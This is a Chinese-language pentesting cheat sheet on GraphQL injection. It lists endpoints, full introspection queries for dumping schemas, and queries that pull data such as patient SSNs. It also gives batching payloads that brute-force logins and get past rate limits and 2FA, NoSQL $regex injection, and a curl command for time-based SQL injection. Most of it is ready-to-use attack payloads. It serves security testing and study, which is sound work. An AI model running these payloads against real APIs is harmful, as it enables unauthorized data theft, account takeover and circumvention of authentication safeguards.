跳转至

GraphQL 注入 (GraphQL Injection)

GraphQL 是一种用于 API 的查询语言,也是一个使用现有数据完成这些查询的运行时。GraphQL 服务通过定义类型和这些类型上的字段来创建,然后为每个类型的每个字段提供相应的函数。

摘要 (Summary)

工具 (Tools)

枚举 (Enumeration)

常见的 GraphQL 端点 (Common GraphQL Endpoints)

大多数情况下,GraphQL 位于 /graphql/graphiql 端点。 更完整的列表可在 danielmiessler/SecLists/graphql.txt 找到。

/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php

识别注入点 (Identify An Injection Point)

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

检查错误是否可见。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

通过内省枚举数据库模式 (Enumerate Database Schema via Introspection)

用于导出数据库模式的 URL 编码查询。

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

用于导出数据库模式的 URL 解码后的查询。

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

不带 Fragment 的单行查询,用于导出数据库模式。

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

通过建议枚举数据库模式 (Enumerate Database Schema via Suggestions)

当您使用未知关键字时,GraphQL 后端将显示与其模式相关的建议。

{
  "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}

当 GraphQL API 的模式不可访问时,您也可以尝试使用 Escape-Technologies/graphql-wordlist 等词表对已知的关键字、字段和类型名称进行暴力破解。

枚举类型定义 (Enumerate Types Definition)

使用以下 GraphQL 查询枚举感兴趣类型的定义,将 "User" 替换为所选类型:

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

列出达某些类型的路径 (List Path To Reach A Type)

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
发现 27 种从 "Query" 节点到达 "Skill" 节点的方法:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
...
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

方法论 (Methodology)

提取数据 (Extract Data)

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

HTB Help - GraphQL injection

使用 Edges/Nodes 提取数据 (Extract Data Using Edges/Nodes)

{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
} 

使用投影提取数据 (Extract Data Using Projections)

⚠ 别忘了转义 options 内部的双引号 (")。

{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}

变更 (Mutations)

Mutation 的运作方式类似于函数,您可以使用它们与 GraphQL 进行交互。

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

GraphQL 分批攻击 (GraphQL Batching Attacks)

常见场景:

  • 密码暴力破解放大场景
  • 绕过速率限制 (Rate Limit)
  • 绕过二次验证 (2FA)

基于 JSON 列表的分批操作 (JSON List Based Batching)

查询分批 (Query batching) 是 GraphQL 的一项功能,允许在单个 HTTP 请求中向服务器发送多个查询。客户端可以在发送到 GraphQL 服务器的单个 POST 请求中发送一个查询数组,而不是在单独的请求中发送每个查询。这减少了 HTTP 请求的数量,并可以提高应用程序的性能。

查询分批通过在请求主体中定义操作数组来工作。每个操作可以有自己的查询、变量和操作名称。服务器处理数组中的每个操作,并返回一个响应数组,对应的每个批量查询都有一个响应。

[
    {
        "query":"..."
    },{
        "query":"..."
    }
    ,{
        "query":"..."
    }
    ,{
        "query":"..."
    }
    ...
]

基于查询名称的分批操作 (Query Name Based Batching)

{
    "query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}

使用别名多次发送相同的 Mutation:

mutation {
  login(pass: 1111, username: "bob")
  second: login(pass: 2222, username: "bob")
  third: login(pass: 3333, username: "bob")
  fourth: login(pass: 4444, username: "bob")
}

注入 (Injections)

由于 GraphQL 只是客户端和数据库之间的一个层,因此 SQL 和 NoSQL 注入仍然是可能的。

NOSQL 注入

search 参数中使用 $regex

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL 注入

在 GraphQL 参数中发送一个单引号 ' 以触发 SQL 注入:

{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}

GraphQL 字段内部的简单 SQL 注入:

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

实验环境 (Labs)

参考资料 (References)